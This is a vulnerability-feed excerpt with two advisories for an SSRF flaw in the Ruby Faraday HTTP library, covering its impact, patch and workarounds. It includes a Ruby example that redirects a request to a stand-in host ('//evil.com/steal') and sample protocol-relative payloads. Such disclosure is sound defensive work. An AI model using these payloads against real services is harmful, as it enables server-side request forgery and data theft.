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  <updated>2026-10-02T04:52:37.173749+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
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  <entry>
    <id>https://db.gcve.eu/vuln/cve-2026-25765</id>
    <title>CVE-2026-25765 — Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url</title>
    <updated>2026-10-02T04:52:37.174722+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> lostisland faraday</p>
<p>Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/cve-2026-25765"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-33mh-2634-fwr2</id>
    <title>GHSA-33mh-2634-fwr2 — Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url</title>
    <updated>2026-10-02T04:52:37.174776+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> RubyGems: faraday</p>
<p>### Impact</p>
<p>Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's
  `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,
  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
  that override the base URL's host/authority component.</p>
<p>This means that if any application passes user-controlled input to Faraday's `get()`,
  `post()`, `build_url()`, or other request methods, an attacker can supply a
  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
  arbitrary host, enabling Server-Side Request Forgery (SSRF).</p>
<p>The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
  `/`, so protocol-relative URLs bypass it entirely.</p>
<p>**Example:**
  ```ruby
  conn = Faraday.new(url: 'https://api.internal.com')
  conn.get('//evil.com/steal')
  # Request is sent to https://evil.com/steal instead of api.internal.com
  ```</p>
<p>### Patches</p>
<p>Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.</p>
<p>### Workarounds</p>
<p>**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**</p>
<p>Applications should validate and sanitize any user-controlled input before passing it to
  Faraday request methods. Specifically:</p>
<p>- Reject or strip input that starts with // followed by a non-/ character
  - Use a…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-33mh-2634-fwr2"/>
  </entry>
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